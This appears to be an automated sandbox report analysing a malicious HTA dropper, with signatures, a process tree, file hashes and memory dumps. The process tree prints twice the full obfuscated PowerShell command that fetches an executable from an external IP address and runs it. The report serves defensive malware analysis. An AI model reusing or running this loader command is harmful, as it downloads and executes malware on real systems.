Analysis

  • max time kernel
    98s
  • max time network
    100s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-06-2024 17:28

General

  • Target

    3371aa45b44d7065089695960d94e028.hta

  • Size

    34KB

  • MD5

    3371aa45b44d7065089695960d94e028

  • SHA1

    77f7d123f864ba762b813efa8e1d4c6abfaceee4

  • SHA256

    28499696b10d24ae8686b10f6afce67f6357d11490dd4a76a7e4a671a16d4ea6

  • SHA512

    24c547b7e6bd197b5d829166341e9483657571bad5023baf0d02eb87c158cdcd2a58bae8d8d1db33db5f6faa582a325c05f09ca284ea5ee8441e114fff149aae

  • SSDEEP

    96:40xsXYxvOsXvQ645fUfr8jmaTWJrwvQ0aDG/ratntYe1a0aOsXEtONQ:403hfP45f65sQ7DG/ratNM7gONQ

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\3371aa45b44d7065089695960d94e028.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:656
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c POweRSHeLl.ExE -eX bYpaSs -nOP -w 1 -c DEvICEcREDentIAlDepLoyMent ; iEx($(Iex('[SySTEM.TEXT.enCodiNG]'+[ChaR]0X3A+[chAr]58+'uTf8.GetsTRINg([sysTem.CONvERT]'+[ChAr]0X3a+[CHAR]58+'frOMbASe64STRInG('+[cHar]0X22+'JHpsNEZhICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtdFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTWJlUmRFRmluaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUkxtb04uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVWVmZHUmVnLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWElRa3Usc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLc05FdFcsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRmJqcXJzTmlzWWwsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRnRUF6aENKWlUiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHpsNEZhOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vNjcuMjA3LjE2Ni4xNzUvTTEwMDZUL2xzYXNzLmV4ZSIsIiRlTlY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO3NUYXJ0LXNMRWVQKDMpO3NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chaR]34+'))')))"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1316
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        POweRSHeLl.ExE -eX bYpaSs -nOP -w 1 -c DEvICEcREDentIAlDepLoyMent ; iEx($(Iex('[SySTEM.TEXT.enCodiNG]'+[ChaR]0X3A+[chAr]58+'uTf8.GetsTRINg([sysTem.CONvERT]'+[ChAr]0X3a+[CHAR]58+'frOMbASe64STRInG('+[cHar]0X22+'JHpsNEZhICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtdFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTWJlUmRFRmluaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUkxtb04uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVWVmZHUmVnLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWElRa3Usc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLc05FdFcsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRmJqcXJzTmlzWWwsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRnRUF6aENKWlUiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHpsNEZhOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vNjcuMjA3LjE2Ni4xNzUvTTEwMDZUL2xzYXNzLmV4ZSIsIiRlTlY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO3NUYXJ0LXNMRWVQKDMpO3NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chaR]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2232
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zi5zlzvz\zi5zlzvz.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4460
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB5A4.tmp" "c:\Users\Admin\AppData\Local\Temp\zi5zlzvz\CSC1316B25F802F407BA87462B92B31869.TMP"
            5⤵
              PID:3928

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\RESB5A4.tmp

      Filesize

      1KB

      MD5

      c7d831fd91720b12824ffe4b3726494d

      SHA1

      c7836409554e8f951577d9f6956c1d2f666582aa

      SHA256

      c27a6c789f111196b6c0eb3746288cb2273faca9c1bf5ef644e110e24ce113b5

      SHA512

      8050a4bffd40221daa4374335fd30c198716419789991ae3774defab5b5bf6ff9eb514557452a4c337e6cf7811e90cb7c734066ab477a0ac89bbe31db6409c52

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jfa0hkri.fdf.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\zi5zlzvz\zi5zlzvz.dll

      Filesize

      3KB

      MD5

      75e9cab93cc07af3837b935e3cbb8a0f

      SHA1

      75e4ddc1f76371dcc29236993323d81f9d82a7b6

      SHA256

      ee87eafe00c88b35258c28375d8e953577fa137dc7da3e8476e50134988a785e

      SHA512

      48cced328308a645fb867fc31a6149b4b16aaa2c34db18ddff6213cf62131dddd5d352eefc7eafe15c81a2cda002d6ebdad051fd629debf679fa1d09997219f4

    • \??\c:\Users\Admin\AppData\Local\Temp\zi5zlzvz\CSC1316B25F802F407BA87462B92B31869.TMP

      Filesize

      652B

      MD5

      4630761f2863f496dd246f006083f047

      SHA1

      ef6e789ebaab1cafd24d41e49a00ef70c15deb0c

      SHA256

      784eaecd9c7980d27cc580b8495de46979cb86b8d9728b721ae06383eb2bc087

      SHA512

      2f599a10c9bd260f11c78a73387c65898abe1afdad54b478e5f5be31137788582c434580585267dab02c513ec1199fdc0b87f849804f075e6415645da2bc256c

    • \??\c:\Users\Admin\AppData\Local\Temp\zi5zlzvz\zi5zlzvz.0.cs

      Filesize

      456B

      MD5

      b482306a1ee20f92189f3cbcd699aba3

      SHA1

      42d499137c52fa5bed274ae4942b089dbf025119

      SHA256

      ca429dae59619b584c51f3eb7f070e425308c373ebe32222679ead6b9ca4f706

      SHA512

      47f9add1109662cd59843fed68a72edbbc13da41fd1757f8fbd5ea46aa70eb43b87865d903505a50b1b2419b41eb40878cce4eeb9ce6c2587a4e028e93e527c5

    • \??\c:\Users\Admin\AppData\Local\Temp\zi5zlzvz\zi5zlzvz.cmdline

      Filesize

      369B

      MD5

      558dd96f4c38752068835a99c9ba819e

      SHA1

      4d207c44bfe421a592694b2a0bb4fcf6ae25b00b

      SHA256

      6a57846819e1d16973eb43120ecaeaa62bdd76ffb1bae5f3a7db923607aad59a

      SHA512

      50a3f5aab23042216be3db5d7e19dcb88243cdaf1a4524d953c7ce8957a2530ce8d2110a12a73c2d4c5b2b82e62641cff0cb2f4f3dbd268bebe65ec09e234b4f

    • memory/2232-36-0x0000000070B70000-0x0000000071320000-memory.dmp

      Filesize

      7.7MB

    • memory/2232-38-0x0000000007010000-0x000000000702A000-memory.dmp

      Filesize

      104KB

    • memory/2232-7-0x0000000005690000-0x00000000056F6000-memory.dmp

      Filesize

      408KB

    • memory/2232-17-0x0000000005890000-0x0000000005BE4000-memory.dmp

      Filesize

      3.3MB

    • memory/2232-18-0x0000000005CC0000-0x0000000005CDE000-memory.dmp

      Filesize

      120KB

    • memory/2232-19-0x0000000005D00000-0x0000000005D4C000-memory.dmp

      Filesize

      304KB

    • memory/2232-21-0x000000006D430000-0x000000006D47C000-memory.dmp

      Filesize

      304KB

    • memory/2232-20-0x00000000062A0000-0x00000000062D2000-memory.dmp

      Filesize

      200KB

    • memory/2232-23-0x000000006D590000-0x000000006D8E4000-memory.dmp

      Filesize

      3.3MB

    • memory/2232-22-0x0000000070B70000-0x0000000071320000-memory.dmp

      Filesize

      7.7MB

    • memory/2232-33-0x0000000006E90000-0x0000000006EAE000-memory.dmp

      Filesize

      120KB

    • memory/2232-35-0x0000000070B70000-0x0000000071320000-memory.dmp

      Filesize

      7.7MB

    • memory/2232-0-0x0000000070B7E000-0x0000000070B7F000-memory.dmp

      Filesize

      4KB

    • memory/2232-34-0x0000000006EB0000-0x0000000006F53000-memory.dmp

      Filesize

      652KB

    • memory/2232-37-0x0000000007650000-0x0000000007CCA000-memory.dmp

      Filesize

      6.5MB

    • memory/2232-6-0x0000000005620000-0x0000000005686000-memory.dmp

      Filesize

      408KB

    • memory/2232-39-0x0000000007080000-0x000000000708A000-memory.dmp

      Filesize

      40KB

    • memory/2232-40-0x00000000072A0000-0x0000000007336000-memory.dmp

      Filesize

      600KB

    • memory/2232-41-0x0000000007200000-0x0000000007211000-memory.dmp

      Filesize

      68KB

    • memory/2232-42-0x0000000007230000-0x000000000723E000-memory.dmp

      Filesize

      56KB

    • memory/2232-43-0x0000000007240000-0x0000000007254000-memory.dmp

      Filesize

      80KB

    • memory/2232-44-0x0000000007280000-0x000000000729A000-memory.dmp

      Filesize

      104KB

    • memory/2232-45-0x0000000007270000-0x0000000007278000-memory.dmp

      Filesize

      32KB

    • memory/2232-5-0x0000000004F30000-0x0000000004F52000-memory.dmp

      Filesize

      136KB

    • memory/2232-4-0x0000000070B70000-0x0000000071320000-memory.dmp

      Filesize

      7.7MB

    • memory/2232-3-0x0000000070B70000-0x0000000071320000-memory.dmp

      Filesize

      7.7MB

    • memory/2232-2-0x0000000004F80000-0x00000000055A8000-memory.dmp

      Filesize

      6.2MB

    • memory/2232-58-0x0000000007270000-0x0000000007278000-memory.dmp

      Filesize

      32KB

    • memory/2232-1-0x00000000026E0000-0x0000000002716000-memory.dmp

      Filesize

      216KB

    • memory/2232-60-0x0000000007510000-0x0000000007532000-memory.dmp

      Filesize

      136KB

    • memory/2232-61-0x0000000008280000-0x0000000008824000-memory.dmp

      Filesize

      5.6MB

    • memory/2232-64-0x0000000070B70000-0x0000000071320000-memory.dmp

      Filesize

      7.7MB